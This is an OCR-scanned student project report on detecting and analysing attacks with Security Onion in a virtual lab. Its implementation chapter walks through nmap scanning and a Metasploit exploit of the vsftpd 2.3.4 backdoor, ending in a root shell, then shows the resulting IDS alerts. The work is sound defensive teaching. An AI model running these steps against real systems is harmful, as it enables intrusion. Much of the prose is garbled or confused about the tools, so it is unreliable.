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Abstract

As we know, the amount of connecting devices is increasing very fast. The rapid growth
of computer network system brings many benefits of an organization. As well as there are

many networking security issues also.

We need strong security system like firewall technology, antivirus technology, valid
authentication system to protect our vulnerable networks. But it may not possible to
eliminate all vulnerabilities of networks. Because secured networks can also be hacked, we
need such as machines for our vulnerable networks which can monitor, detect and analyze
malicious activities. In this project, we have implemented a security system, which can
monitor, detect and analyze malicious activities of our network. Here we have used
Security Onion as a security monitoring machine. It can detect malicious activities and we

can analyze those activities by using its pre-installed tools.
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Chapterl

Introduction

In this world, we all are now interconnected through network. Life is getting easier because
of internet. We are using internet to make communication with our beloved, work purposes.
People usually share their information, documents and data through internet. All these are
sharing for personal reason or organizational motive. Day by day number of device is
increasing. As a result vast number of people are getting connected. They are making life
flexible but everything is not as smooth as it looks like. Because as the amount of
connecting device is increasing rapidly, the amount of security threat is also increasing
simultaneously. So today, it is a big challenge to protect our network system as well as our
data.

1.1 Motivation

Nowadays, huge number of people are sharing their valuable data in internet, a portion are
trying to get those information for their evil aim. Hacker is not an unknown word for
internet user. Hacker attack is occurring continuously in every second. Since 2013 there
are 3,809,448 records stolen from breaches every day. By 2020 there will be roughly 200
billion connected devices. The average cost of a data breach in 2020 will exceed $150

million.

Computer virus are one kind of computer program which enters computer and make own
copy without user’s permission. These viruses can affect one computer when an infected
computer is taken to the normal one. A user can spread the virus by floppy disk, CD, USB
drive or through Internet. When a virus attack a network system, the users are using same
network system are become affected. An affected network system can affect all computers
on that system. Now-a-days personal computer connected with local area network can
spread harmful code. Moreover web, email, sharing files through worldwide can be

affected by virus.



Some virus are discard program, important files, infect hard disk can get affected. Some
viruses do not attack directly but creating a numerous number of copy which exposes their
presence through video, audio or messages. These viruses usually take the memory space
which is needed by important program. Infect there is a possibility to loss important
information or system crush. Sometimes malware found in programs which is officially
provide by companies. Sometimes they can hide in downloadable program. These seem to

be useful but it can affect program system.

Different virus can affect Windows, Mac, Linux computers, even the data servers which
are using by any companies or personal user. It can affect running Internet system. Over
the years, there have been thousands and thousands of virus spread online and damage
production, waste resources which caused billions dollars loss. Some of those virus are
stand out, some speed quickly affect a lot of people or create a huge amount of damage.
Some did all of the above. Malware is a short form of malicious software which is a
harmful computer program. Which program is caused harm to computer that is called
malware or malicious software. Malware is a computer virus, a common name of worms,

ransomware, spyware, adware etc. Malicious programs.

Though virus and malware use to harm computer, but now-a-days those are used to steal
credit card numbers and other sensitive information. We are facing 4 kinds where around
12 kinds of malware are exists. Malware attack in computer is not a new thing. It make
your computer unable to access. Ruin your access power from your sensitive files. Malware
is not only annoying or funny to computer user. Even spreading out malware to harm

computer or to discard access power above important files is not the main aim of attackers.

The malware word was first used in 1990 by Yisrael Radai. Malicious software or malware
is a computer virus. By attaching some part of software with executable file malware spread
out. These parts can be machine code which can be affect a spy on computer users for an
extended period of time without their knowledge. Or it may be designed to cause harm to

computer, demand profit from users. Application, system program, even any important
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code which is essential to start program. Intention of malware to steal information. It seems
to be executable code, scripts. When we talk about a computer virus, we usually mean any
kind of code that’s designed to do harm and spread itself to more computers. Malicious
programs are created by malicious programmers who might want to attack a computer. By
stealing personal information they demand money. Sometimes they are simply check how

far their virus can spread.

1.2 Problem Statement

Network security prevents unauthorized activity in network. It is a process of protection
for network infrastructure from unauthorized access, modification. Network security

ensures secure environment for computer users. Network security consists of:
e Protection: System should be configured as correctly as possible

o Detection: Can identify if any configuration change occurred or any network traffic

problem happened
o Reaction: Provide quick response against problem and ensure security

Network security maintains some policies to prevent unauthorized activity. Physical assets
are visible so when we lost them we can easily find out our need or we can keep duplicate
of our needed things, as we can find them when we need. Information storing in computer
can make our life easier. All type of data we usually store in our computer so that we can
use them further. Communication Medias are now over internet so internet is also a large
media which maintain our information. Accessing that information in internet or in our

device by unauthorized person is not healthy for us.

So, our main task is to make sure all our information are safe. So the idea came to make
devices secure as no one can access device with evil aim. Implementing security in device
level is not enough. All secure devices are in threat in this growing up internets age.
Attacker makes different high technical device and program to hack. We are not safe from

them.



Implementing security in device is an option to make information or communication
secure. Important part is maintained security by continuously monitoring them is more
important. But only security implementation, monitoring will be useless if network experts
do not take any action against attackers. As the following picture, the attacker can easily
burn security devices, can get access of network and also can transfer valuable data without

user’s permission.

Security

Internet

Unauthorised access

Data tranfer

Figure: 1.2.1

1.3 Background and Methodology

IDS: Intrusion Detection System deal with getting the alert. Monitors network traffic and

also gives alerts for doubtful event.

NSM: Network Security Monitoring. Monitoring network for security related events
such as alerts, session data and full packet capture.



Network security implementation is not enough, so we are introducing tool which helps us
in monitoring network, detect malicious activities, analysis malicious activities.
Unauthorized activity can analyze to find out the way of attacker, their activity pattern and
amount of loss we faced. Security onion helps to maintain all these need. Security Onion

is an NSM image.

Our proposed system can maintain these following needs
e Network Monitoring
e Detect Malicious Activities

e Analysis Malicious Activities

1.4 Organization of the Report

We have distributed our project report into 6 chapters. In chapter 1, we have already

discussed about introduction, problem statements and methodology.

In chapter 2, we discussed in details about all the tools which we have used to demonstrate
our project. Here we have discussed also about some important security tools for analyzing

malicious activities.

Chapter 3 is about the main two parts of our project. One part is about how we can setup
environment to demonstrate our proposed security model, generate a live attack to check
detection ability of that machine and analyze the detected malicious events. The second

part is about how we can analyze previously recorded malicious activities!

Chapter 4 is about the limitations, challenges we have faced to complete this project and

future work of this project.

Chapter 5 is conclusion of our project work and chapter 6 is about the references we have

used to successfully complete our work.



Chapter 2

Tools Used

We have proposed a security system for monitoring, detecting malicious activities and
analyzing malicious activities. For testing purpose, we have demonstrated this security

system as the following picture

Figure 2.1

Here we have used ‘Kali Linux’ as an attacker, ‘Metasploitable Framework version 2.0’ as
a victim server and ‘Security Onion’ as a NSM. The details of each machine has described
below.

2.1 Security Onion

There are many Linux distributions. Security onion is one of them which is Distributed for
the system of intrusion detection. Used as a monitoring the system of network security.
Also works as a system of log management. IDS mean intrusion detection system. There
is contaminated work that is harmful to a software application and also some other devices
in that case software application can be harmful. An intrusion detection system is one kind
of network that monitors this kind of situations. Network security systems are usually used

to monitor all networks that require security. This is a system that works by utilizing its



intelligence. It is a network of weaknesses through its monitoring. Log management
basically collects all kinds of log procedure, activities of software, different kinds of user
events and as well as the analysis of network traffic etc. Security Onion is normally one
kind of Ubuntu based and it comprises different kinds of tools like as Kibana, CapME,
CyberChef, Snort, Suricata, Bro, Sguil, Squert, Snorby, ELSA, Xplico, Network Miner and
many other security tools. Security Onion is one kind of position that Permission for that
monitoring the safety of the network. For the use of safety onions, we need virtual
environments, which include virtual box and VMware in that case we use any of these we

use the security onion. Basically three core functions of Security onion like as —

e The capture of Full Packet
e Not only Network but also Host-based intrusion detection systems and as well as
the analysis of powerful tools

e Provide log and watchful data to find out activity and events.

Full packet capture is usually a function that works by video cameras inside our network.
As we look at this video camera through everything in our network. We do not know if
everything is right or not. If anybody comes inside the leader, if we have received any files,
then we find this video camera. Security Onion is usually done as a multiple of IDS.
Networks, as well as host-based entry detection systems, usually have a network host or
traffic system, which they do in parasites and carefully provide important information for

the activity.

Security Onion Layers
e Ubuntu based OS.
e Snort, Suricata
e Snorby
e Bro
e Sguil
e Squert
e ELSA
e Network Miner
e PADS



e Kibana
e CyberChef etc.

Snort

Snort is basically an open source system where networks work as intrusion detection and
there is also a resistance mechanism. It usually works as an intrusion detection
system/intrusion prevention system. It is a simple one that has the ability to analyze real-
time traffic. Besides, there are many other things that include any type of prototype parasite,
and any search by which it is discovered, and one with another. Along with a firewall, this
should be another fundamental part of our network security. IDS and IPS both of them are
combined in one device. They are not separate. IDS basically identified dangerous traffic
analysis on the other hand IPS takes action. Snort basically running in three different modes

like as-

e Running like as packet capture mode
e Running like as logging mode

e Running like as intrusion detection mode etc.

Snort watches our internal network which is very important because many of the problems
of security are coming inside our network and in that case, we are chance our network

correctly.

Suricata

Suricata is a lofty performance Network not only intrusion system but also intrusion
prevention system and Monitoring the system of network security. IDS and IPS both of
them are combined in one device. They are not separate. IDS basically identified dangerous
traffic analysis on the other hand IPS takes action.

Suricata is a network that works very fast with a robust network. This network acts as a
threat to the detection engine.

There is not much difference between snort and Suricata. Some differences include here
like as snort basically works as a single thread, on the other hand, Suricata works as
multiple threads. Another one is Suricata package is not available on the other hand snort

package are required and also it’s available.



Snorby

Snorby means monitoring the system of network security’s which is based on web fronted.
Snorby is available for in security onion. When we click the icon of Snorby then go to open
any type of browser. After that email and password given we are looking for a dashboard
in Snorby. In the dashboard, we are looking some alerts like as High Severity, Medium
Severity, and Low Severity etc. We can also see about sensor, protocols, severities,
signatures, sources, destinations etc. We can see interesting statics about sources. Then we
can go to the events option. This is the main option for that which is also an actual network
based ideas alert. Then we can one event option click we can see about full details for that
event like as Source IP, Destination IP, Source port, Destination Port, the file will be HTTP

or not also see about full information etc. we can also see about packet capture option.

e Ramification
e Complete Packet

e Determined intentionally etc.

Squert

Squert is a web application interface. It is used for a search. Through this, we can see the
event data that the data is stored in the Sguil Databases.

Squert is a visual tool. It attempts to provide which is additional context to events through
the use of metadata, time series representations.

Squert is available for in security onion. We click the icon of Squert. Giving we access to
this squil database from any type of browser. After that log in username and password
which is specified in set up. Squert is not only access to network-based ideas alert but also
host-based ideas alert. Here https log coming from bro as well. Event data are coming from
a different database. Once we any source id or destination id for any type of event and put
on this here we see about details for this event in Squert. We already know about Squert
also use capME to capture full packet. We need to write Src IP and DST IP then click to
submit Button after that we know full information about ip address or

port etc. After click the submit button we know about Sensor Name, Timestamp, Src IP or
Src port and also dst IP or Dst port. Also we can see the full details about data when data
will be sent. Sometimes we can see that no data has been sent that’s why we don’t know

about the full information of the data.



Bro

Bro is generally a strong network. This is a network that we can analyze this network on
the framework. It works as a top-level application. In addition, the Bro is Semantic
Analysis. When we open Sguil to launch any event, we can go to the Bro option and see
the contents of the event, and we know that this is the HTML File or PHP file. Apart from
this, we can also know about timestamps. As a matter of fact, its Sguil site is scheduled.
The events that we initiate through Sguil, act as many powerful. We see the event's content

through Sguil.

Sguil

Sguil is an analysis tool. It provides an SQL database backend. Sguil usually works as a
GUI interface. When we take a file, we work in the program through the TCP-reply in the
terminal and act as the Sguil interface for viewing events. Generally, when the username
and password are entered by the Sguil interface that is given in the setup, it is inserted into
the Sguil which usually acts as real time conjunction. We can also analysis Wireshark,
Network Miner inside sguil etc.There are lots of data types in Sguil like as NIDS, HITS,
session data, asset data, HTTP etc. Sguil is normally is not browser based but works as a
powerful. In Sguil we see the event details as well as we also see about different event
message. In Sguil we can select one event option then we can move and see different kinds

of option for that option.

Elsa

Elsa is a powerful application. This application is basically works for centralized
processing system logs, which is used for MySQL and Syslog NG. Elsa is basically works
as a query. User can configure email alerts and perform tasks on a schedule. It is also
possible to create some reports in the form of graphs. Elsa basically provides a user
interface that can be used for some analysis and also filtering of it by IP, port and others.
Using Elsa, we can also generate some statistical data. After that we can overview this

statistical performance of the network being monitored.

2.2 Kali Linux
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Kali Linux is an operating system. Usually this system is used for hacking. When we use
the Windows system, there are some tools that we do not need to download. They are inside
Windows. Among them are calculators that we use in our calculations. In the same way,
kali Linux is also something that we use for hacking. This means that kali Linux has some
great tools that we use in such things. In addition, there are some tools in it, such as if there
is a mistake on the website or if the website is hacked, then it is also used as a job to alert
the website administrator. Compared to kali Linux, there are other versions of Linux such
as Ubuntu which we can use to hack the website. But the problem is that if we want to hack
the website using this version we will have to write many code for it. Hacking something
by writing this code is a lot of hard work that cannot be used for a long time, so we do not
use these versions for hacking purposes. Kali Linux is one of the best versions of hacking
websites. Besides, no other version was created based on the base. . For this, we need to
write the complete code when using those versions. So we do not have to type the complete
code as well so that any website can be hacked, we use kali Linux. The Kali Linux code
does not have to be written because the Kali Linux is based on the base. Our job is to code
based on the bases. This way we can generally hack websites. Kali Linux is an open source

system. So we can download Kali Linux from anywhere, and then we can use it too.

2.3 Metasploitable Framework

Metasploitable is a framework. Additionally, this framework is usually an open-source
infringement tool that is used for the development and execution of exploited code, rather
than for the remote target machine. The Metasploitable framework is known as the world's
largest database. This framework is usually published independently. Apart from this, there
are various types of programming languages. This framework works as a limited platform
for a specific platform. Moreover, this framework does not have a clear document, no code
style due to which it is working well for a long time. It is not properly seen or understood.
Other than this, there is another word that can be used to collect equipment that we can use
for our software testing work or for any telescope we ever have on the web site or we can
also use it or test it for the sake of our network security. This means that the Metasploitable
framework is being used for security testing purposes. When a new website has been

created, we really face different types of problems. Then we have to overcome those
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problems, and for this we have to use this framework. We have to keep an eye on any bugs
that do not exist. Whenever a website is created for the network only, then no permission
IS needed to access it. Since Metasploitable framework works as a type of equipment
collection, it targets those tools, scans those processes. Metasploitable framework is also
used inside kali Linux etc. To install this kali Linux and Metasploitable framework we first
installed the virtual machine. Then inside the virtual machine we install kali Linux and

metasploitable framework and then using it by running.
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Chapter 3

Implementation Details

3.1 Environment setup

e First of all, we have to download and install virtual machine.

e After that we have to download and install security onion and as well as settings
the network adapter.

e Thenwe have to download and install Kali Linux and as well as settings the network
adapter.

e Finally we have to download and install Metasploitable framework and settings the

network adapter.

We are usually using internal network adapter. This adapter is commonly used to connect
from VM to another VM. Suppose, Kali Linux, Metasploitable, Security Onion are these
three different VM. To bring three different VMs to a network, we are using the internal

network adapter in three.

DMZ

- INnternet

Vulnerable Server
(Metasploitable)

209.165.200.235/27

Security Onion ‘

Kali Linux

eth1:209.165.200.226/27 209.165.201.17/27
eth2:209.165.201.21/27
eth3:10.0.5.2/24

Figure: 3.1
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After setting the internal network adapter it must be given a name. We have used the
“internet” in kali Linux. We have used “DMZ” at metasploitable frameworks. An internal
network adapter is usually used on a metasploitable framework which is used for any other
purpose. This internal network adapter is not used in our work. Now we have two things
used in kali Linux and metasploitable, we will use the same name as security onion. After
using the same name as security onion, then the internal network adapter should be
selected. The name given after the internal network adapter is selected. One name is
“internet” and the other name is “DMZ”. The same name is given because these two names
will work as a gateway to kali Linux and metasploitable. Security onion has four adapters.
We already know about two adapters. Now we know about two other adapters where a
name is “inside” and other name is “Nat”. An internal network adapter which name is
“inside” is usually used for other purposes. This internal network adapter is not used in our
work. An internal network adapter which name is “Nat” is usually used to browse the

internet.

3.2 Live Attack Generation

e Here is the terminal for metasploitable Framework (Fig: 3.2.1). In this terminal
when we write to Command ifconfig then we see IP address, subnet mask and other

some basic information etc.
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To access official Ubuntu documentation, please wvisit:
http:~--help.ubuntu.com/
o mail.
sfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HUWaddr 08:00:Z27:ab:84:07
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inett addr: feBO::a00:27ff:feab:8407-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0Q frame:0
TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000
R¥ bytes:240 (240.0 B) TX bytes:11233 (10.9 KB)
Interrupt:9 Base address:0xd0Z0

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packet=:10495 errors:0 dropped:0 overruns:0 frame:0Q
TX packets:10495 errors:0 dropped:0® overruns:0 carrier:0
collisions:0 txgqueuelen:0

RX bytes:6V50505 (6.4 MB) TX bytes:6750505 (6.4 MB)

sfadmin®metasploitahle: ™5

Figure: 3.2.1
e In this terminal we have to create a directory and a text file(Fig: 3.2.2).

sfadmninemetasploitable: - homesftp
est.txt
sfadmin@metasploitable: homesftps _

Figure: 3.2.2

Here is the metasploitable terminal (Fig: 3.2.3). In this terminal If we see what files
are present inside another files that is test.txt then we have to use sudo command
like as sudo nano test.txt. Then we have to know what kind of files are here or not.
Here we see in this test.txt file (Fig: 3.2.3), there are one line and that is Hello, | am

from metasploitable framework!
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GNU nano 2.0.7 File: test.txt

ello, I am from metasploitable framework!?

[ Get Help @i UriteOut §fJ Read File @Y Prev Page §] Cut Text {8 Cur FPos
il Justify '] Where I= )] Next Page gl UnCut Textggy To Spell

Figure: 3.2.3

Nmap

Nmap means a type of network map. A hacker does not know what I'm doing, but if he
does not know my IP address, then he has scanned it with Nmap, and then the hacker goes
after everything, usually I am working or what kind of work | am doing. | n addition to
whether a port is open now or a port is now closed or any kind of service is running. Nmap
is advanced network mapping and scanner equipment. These tools are used in kali Linux
as a data collection tool. With these tools, we use network IP address, domain, firewall,
router and other hurdles, for various types of scan scans such as TCP, UDP, OS detection,
service detection, version detection etc. Apart from this, we also know about information
about ports, identification, network analysis, etc. Nmap is also used for graphical user
interfaces. Then we also know about the same as the basic information in this IP address.

e Here is the terminal for kali Linux (Fig: 3.2.4), in this terminal when we write to

command ifconfig then we see IP address, subnet mask and other some basic

information etc.
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Applications Places v [ Terminal «

root@kali: ~

File Edit View Search Terminal Help
:~# ifconfig
eth®: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 209.165.201.17 netmask 255.255.255.224 broadcast 209.165.201.31
inet6 fe80::a00:27ff:feca:70c6 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ca:70:c6 txqueuelen 1000 (Ethernet)
RX packets 2 bytes 120 (120.0 B)
RX errors © dropped © overruns @ frame 0
TX packets 52 bytes 3635 (3.5 KiB)
TX errors © dropped © overruns © carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 26 bytes 1586 (1.5 KiB)
RX errors @ dropped © overruns © frame 0O
TX packets 26 bytes 1586 (1.5 KiB)
TX errors © dropped © overruns © carrier © collisions 0

= |

Here the interface of metasploitable framework inside kali Linux (Fig: 3.2.5). Service
Postgresql start that is the start database for exploit. Then we write the mfsconsole and that
is the command line metasploitable framework. The msfconsole is basically the most useful
interface to the Metasploitable Framework (MSF).

Applications « Places « -] Terminal ~ Wed 13:56

Terminal

File Edit View Search Terminal Help

Creating configuration file in /usr/share/metasploit-framework/config/database.y
ml

Creating initial database schema

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

netas it 14.10-dev 1
1639 exploits - 944 auxiliary - 289 post ]

[ 472 payloads - 40 encoders - 9 nops 1
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

i
Figure: 3.2.5
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The process of backdoor attack:

>
>

YV V V V V V

Open metasploit

Command : db_nmap -O -sV 209.165.200.235
Take the ftp version name (vsftpd 2.3.4)
Command : search vsftpd 2.3.4

Take exploit_path

Command : Use exploit path

Command : Set RHOST 209.165.200.235

Run exploit that means Command : exploit

We have already known about details nmap. In the (Fig: 3.2.6), we know about the

basic information about IP address by using nmap.

Applications « Places « G Terminal ~ Wed 13:58

root@kali: ~ e e

File Edit View Search Terminal Help

:~# nmap 209.165.200.235

[Starting Nmap 7.40 ( https://nmap.org ) at 2019-01-02 13:57 EST
map scan report for 209.165.200.235
ost is up (0.0034s latency).

: 977 closed ports

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresqgl

open vnc

open X11

open irc

open ajpl3
unknown

In this (Fig: 3.2.7), we are scanning victims port 21 using nmap. We are trying to
service version detection using nmap and the command is - nmap —sV p IP address.
P is the port number. Suppose p-21 that means port number 21, which port we want
to scan for the version. We are going to scan 21 number port .21 TCP port and then
next its ftp port .then press the enter we know about the basic information of IP

address.
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Applications « Places v Terminal v Wed 13:59

root@kali: ~

File Edit View Search Terminal Help
:~# nmap -sV -p 21 209.165.200.235

Starting Nmap 7.40 ( https://nmap.org ) at 2019-01-02 13:59 EST
|

Figure: 3.2.7

e With this command we can determine the version of the service running on the port

(Fig: 3.2.8). From this, we know about the vsftpd 2.3.4. It’s about ftp version name.

Applications Places ~ Terminal Wed 14:00

root@Kkali: ~
File Edit View Search Terminal Help
:~# nmap -sV -p 21 209.165.200.235

Starting Nmap 7.40 ( https://nmap.org ) at 2019-01-02 13:59 EST
Nmap scan report for 209.165.200.235

Host is up (0.00067s latency).

PORT  STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds

~# 11

it
Figure: 3.2.8
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e Here we write this command (Fig: 3.2.9) that is search vsftpd and then we see the

exploit path name.

Applications Places « Terminal + Wed 14:01

Terminal

File Edit View Search Terminal Help
msf > search vsftpd

Matching Modules

Disclosure Date Rank

excellent

.4 Backdoor Command Execution

msf >

Flgﬁre: 3.2.9

e After that we use exploit path (Fig: 3.2.10) .when we enter the press button then we
are basically going to inside backdoor attack. Path will be a most important and

when we are know the path then exploit the path. Then set RHOST and run exploit.

Applications ~ Places « (3 Terminal + Wed 14:02

Terminal

File Edit View Search Terminal Help
msf > search vsftpd

Matching Modules

Name Disclosure Date Rank Description

exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03
.4 Backdoor Command Execution

> use exploit/unix/ftp/vsftpd 234 backdoor
exploit( ) > 11

20



e Whenever we use exploit we must use show option command (Fig: 3.2.11). So that this
command gives us information that we needs to be. After show option command we
see information missing that is current setting about for the target address. We have to
know the target address to backdoor attack that is metasploit IP address on the other
hand kali Linux that is control the target machine. After that the set of IP address and
write the target address than we know about the information which is missing (fig:

3.2.12) that is we see all the information which we need. The command

Set RHOST target IP address (209.165.200.235)

After this command then all the information are properly done then finally run the exploit.

Applications « Places « Terminal ~ Wed 14:02

Terminal
File Edit View Search Terminal Help
msf > use exploit/unix/ftp/vsftpd 234 backdoor

msf exploit( ) >
msf exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Name Current Setting Required Description
RHOST  yes The target address
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name

Automatic

msf exploit(

Figure: 3.2.11
e Inthisterminal(Fig: 3.2.12), we can see when we write to command like as Set RHOST
target IP address (209.165.200.235) then all the information are properly done then
finally run the exploit. After that successfully run the exploit then we see the terminals
which is actually terminal towards target machine. So check this whoami-root. Now
it’s not for kali-Linux machine this is actually in other machine or server which is
metasploit. After successfully run the exploit then we see in command shell. In this
command shell we write or see everything. We see all the files like as Is or other things

all of this are other server files. That is successfully backdoor attack into another remote

system.
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Applications Places v [ Terminal + Wed 14:03

Terminal

File Edit View Search Terminal Help

Exploit target:

Id Name

0 Automatic

msf exploit( ) > set RHOST 209.165.200.235
RHOST => 209.165.200.235
msf exploit( ) > exploit

[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 209.165.200.235:21 - USER: 331 Please specify the password.

[+] 209.165.200.235:21 - Backdoor service has been spawned, handling...

[+] 209.165.200.235:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (209.165.201.17:39753 -> 209.165.200.235:6200
) at 2019-01-02 14:03:39 -0500

Figure: 3.2.12
e After successfully run the exploit then we see in command shell. In this command shell
we write or see everything. We see all the files like as Is or other things all of this are
other server files. That is successfully backdoor attack into another remote system. Here
we see also some files which is already present in the metasploit server and check the

kali-Linux that is exactly the same files so we have successfully done the backdoor
attack (Fig: 3.2.13).

Applications v Places v 3 Terminal v @

Terminal

File Edit View Search Terminal Help
root

sbin

srv

sys

tmp

usr

var

vmlinuz

cd home
1s
analyst
ftp
msfadmin
service
user

cd ftp

s
test.txt

cat test.txt
Hello, I am from metasploitable framework

@) D il 2 15l il (0 (N R ctrl + 4

Figure: 3.2.13
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e Inthe (Fig: 3.2.14), we know about the interface of sguil. Generally, when the username

and password are entered by the Sguil interface which is given in the set up then sguil
is open.

SGUIL-0.9.0

Frsgul

Sguild Host: [localhost |

o=
g
@
=
oS

H
)

»

Figure: 3.2.14

e Initially sguil dashboard is empty (Fig: 3.2.15).

File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2

RealTime Events
5 CNT | Sensor

2019-01-02 19:06:29 GMT|

. [ Display Detail
1P Resolution

[ Reverse DNS ¥ Enable External DNS
SrcIP:
Src Name:

DstIP:
Dst Name:

WhoisQuery: * None  SrcIP  DstIP

@ (=) b P 5 150 [ il 00 (53 (Wl ctrl + At

Figure: 3.2.15

e After exploiting, we can see Sguil (Fig: 3.2.16) capture many events for the
unauthorized access which we have gained by exploiting. We see in each events
source port, destination Port, source IP, destination IP etc. In events, we see ST in

different colors. Some colors are red which events are really attacking for a virus.
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When mouse pointer point on Alert Id of an event, there will be many options for

analysis a malware like a transcript, Bro, Network Miner.

& ) SGUIL-0.9.0 - Connecte... [ng [B o02)an, 19:07
o SGUIL-0.9.0 - Connected To localhost A -3 X
File Query Reports Sound: Off ServerName: localhost UserMame: analyst UserID: 2 2019-01-02 19:07:16 GMT|

RealTime Evanlsw Escalated Evenls]

0 Alert 1D Date/Time Dst 1P DPort
. 1 seconion-... 5.5842 2019-01-0219:06:53  209.165.201.17 43931 209.165.200.235 21

6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 1 seconion-... 5.5843 2019-01-02 19:06:53  209.165.200.235 6200 209.165.201.17 39493 6 GPL ATTACK_RESPONSE id check returned root
l! 1 seconion-... 7.5932 2019-01-02 19:06:53  209.165.201.17 43931 209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 1 seconion-... 7.5933 2019-01-0219:06:53  209.165.200.235 6200 209.165.201.17 39493 6 GPL ATTACK_RESPONSE id check returned root

. o v Show Packet Data [ Show Rule
IP Resolution W Agent Status W SnartStatstﬁ] System Msgs 1 User Msgs W
[” Reverse DNS W Enable External DNS =
oI Source IP Dest IP Ver HL TOS len D Flags  Offset TTL ChkSum
rcIP:
209.165.201.17 209.165.200.235 4 5 0 64 65192 |2 0 64 1735
Src Name:
Uu AP RS F
DstIP: Source Dest R R R C S 5 Y 1
Dst Name: Port Port 1 0 G K H T N N Seq # Ack # Offset Res Window Urp ChkSum
Whois Query: © None * SrcIP ( DstIP 43931 21 .o | X X ||| |1208392063 3563001109 |8 0 229 o 15107
55 53 45 52 20 47 6B 4C 3A 29 0D DA USER GkL:).. J
J Search Packet Payload | © Hex © Text [ NoCase

h Figure: 3.2.16

3.3 Analysis the Captured Events

e Squert provides Network based IDS, Host based IDS alerts, PRADS data, HTTP logs.
This tool helps to view event in sguil database. First we login Squert by providing the

username and password of Sguil (Fig: 3.3.1).

24



B Scurity Onion [Running] - Oracle

B [ [SGUIL-0.9.0 - Connecte... [& Pléase 16Gin t6 contind...

kd Please login to continue - Chromium

[ Please login to cont X

C | A Notsecure | hepS://localhost/sque

Username

Password

| submit ‘

Version 1.6.4

©2016 Paul Halliday

Figure: 3.3.1

x

@88 2 02)an, 1910

=
a

W i

e After login we can see Squert dashboard (fig: 3.3.2) where there are options for events,
IP address locations, summary. Here some sort of term as SC, DC, Last event, ID is
remained. Also same type of event can be grouped if needed. Squert also use capME to
capture full packet.

9 squert (7) - analyst - Chromium 4 - 3

[ squert(7) - analyst x 4
< C | A Notsecure | hepS:/localhost/squert/index.php?id=35c68fcb6b10c8ab47f11c8b4976df59 i
O O W = & (@ Y |Fite a

INTERVAL:  2018-01-15 00:00:00 -> 2018-01-15 23:59'59 (+00:00) FILTERED BY OBJECT: NO FILTERED BY SENSOR:  NO PRIORITY: 28 6%

@ compromised L1 -
® compromised L2 -

attempted access -
® denial of service -

® oolicy violation__-
WELCOME analyst |

TOGGLE A

20
queue only off .
grouping m “
SUMMARY A 5
queued events 7 ! n o ow@ 0B M B 06 0 08 09
total evenis 7
total signatures 3 QUELE AL SC DC  CLASS ACTMITY  LASTEVENT
PRIORITY A 2 | 1 1 " 18:08:05
high 2 (o) n 2 H1 1 i 18.08:05
megium 2 (zmo%)
low 371 1 i 18.06:28
other 3 (42.0%)
CLASSIFICATION A

SIGNATURE

ET EXPLOIT VSFTPD Backdoor User Login Smiley

GPL ATTACK_RESPONSE id check retumned root

[OSSEC] Received D packets in designated time interval (defined in ossec.conf)
Please check interface, cabling, and tap/span!

D

2013188

2100498

11112

s 22
PROTO
6
6
0

% TOTAL

28571%

28.571%

42.857%

UTC 18:11:36

Figure: 3.3.2

In this dashboard (Fig: 3.3.3), where we can see view some ip, source country,
Destination country and their information etc. In this dashboard, the main part is the

view of ip location.
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B 5ecurity Onion [Running] - Oracle VM VirtualBox - X

B - 1 SGUIL-0.9.0 - Connecte... [ SQUSTt (7) - analyst - Ch... @h B 15Jan, 1812
9 squert (7) - analyst - Chromium! 4 -5 X
[ squert (7) - analyst x (]

&« & |A Not secure | b#ps://localhost/squert/index.php?id=35c68fcb6b10c8ab47f11c8b49 i‘?l g

EVENTS UMMARY S O W = @ Y A a

INTERVAL:  2019-01-15 00:00:00 -> 2019-01-15 23:59:59 (+00:00)  FILTERED BY OBJECT. NO  FILTERED BY SENSOR: NO  PRIORITY:

view 1P SOURCE COUNTRY DESTINATION COUNTRY type: SANKEY DIAGRAM

I S 209.165.200.235

UNITED STATES &=
I = 209.165.201.17

WELCOME analyst | LOGOUT UTC 18:12:68

Figure: 3.3.3

TR M R A [ ol TR AR ) e e

e In this dashboard (Fig: 3.3.4), when we click one of this IP of countries then we can
see the details or full information about these countries. Here we can see the top
signatures, top source IPS and top destination IPS, top source countries and top

destination countries etc.

Security Onion [Running] - VM VirtualBox - X

|® [ SGUIL-0.9.0 - Connecte... & squert (7) - analyst - Ch... @h B 15Jen 1811

Ed squert (7) - analyst - Chromium + _ g x
[} squert (7) - analyst x 5]
< Cc |A Not secure | baps://localhost/squertindex.php?id=35c68fcb6bl0c8ab47f11c8b4976df59 1’%‘ H

cowm=so (e @ g

